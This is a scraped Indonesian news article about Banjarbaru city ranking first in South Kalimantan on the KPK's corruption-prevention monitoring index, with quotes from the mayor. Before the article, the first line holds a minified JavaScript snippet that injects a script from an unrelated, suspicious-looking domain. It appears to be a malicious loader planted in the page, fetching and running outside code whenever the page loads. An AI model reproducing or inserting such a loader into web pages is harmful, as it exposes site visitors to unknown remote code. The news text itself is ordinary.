(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemko Banjarbaru di era kepemimpinan Wali Kota Aditya Mufti Ariffin dan Wakil Wali Kota Wartono berhasil mencatatkan pencapaian gemilang. Tahun ini, Banjarbaru telah sukses menduduki peringkat pertama Monitoring Control for Prevention (MCP).
Perlu diketahui, MCP merupakan sistem yang dikelola oleh Komisi Pemberantasan Korupsi (KPK) dalam upaya mencegah terjadinya tindak pidana korupsi. Tujuannya untuk mendorong perbaikan sistem dan implementasi sistem pengelolaan yang lebih transparan.
Pada rapat koordinasi yang dilaksanakan Kamis (9/9/2021), KPK menyatakan Banjarbaru mendapat peringkat pertama di tingkat Kalsel dan peringkat 36 untuk nasional.
Pencapaian ini tentu membanggakan. Apalagi, saat penilaian MCP sebelumnya Banjarbaru awalnya bertengger di posisi buncit dari 13 kabupaten/kota di Kalsel.
Baca juga: Diduga Mesum, PSK dan Pasangan Bukan Muhrim Diciduk Satpol PP
Atas prestasi ini, Wali Kota Aditya menyampaikan terima kasih kepada seluruh pihak yang telah bekerja dengan maksimal. Meskipun dirinya juga menekankan untuk tidak cepat berpuas dan terus bekerja lebih keras.
“Kita jadikan ini motivasi untuk bekerja lebih keras dan lebih giat lagi sehingga prestasi ini dapat dipertahankan. Saya yakin hasil dari kerja keras seluruh ASN dan pihak terkait se Kota Banjarbaru dapat membuahkan hasil yang maksimal,” kata Aditya.
Di samping itu, menempati peringkat pertama dalam sistem MCP turut memberikan keuntungan bagi daerah. Menurut informasi, bagi daerah yang mencatatkan peringkat teratas dalam sistem MCP ini akan mendapatkan suntikan dana insentif dari Pemerintah Pusat.
Untuk saat ini, ujar Aditya, pihaknya akan lebih memaksimalkan tiap-tiap indikator penilaian sistem MCP yang dilakukan oleh KPK. Yakni dengan memaksimalkan peningkatan pelayanan public, menekan angka korupsi, menekan kebocoran anggaran, serta diharapkan mampu menekan bocornya pendapatan.
“Kami berharap kepada seluruh ASN yang ada di Kota Banjarbaru dapat terus konsisten dalam mempertahankan indeks MCP yang ada di Kota Banjarbaru ini, bahkan di harapkan dapat terus memberikan inovasi dan meningkatkan prestasi Kota Banjarbaru sehingga terciptanya Kota Banjarbaru JUARA,” katanya. (Kanalkalimantan.com/al)
Reporter: al
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
This website uses cookies.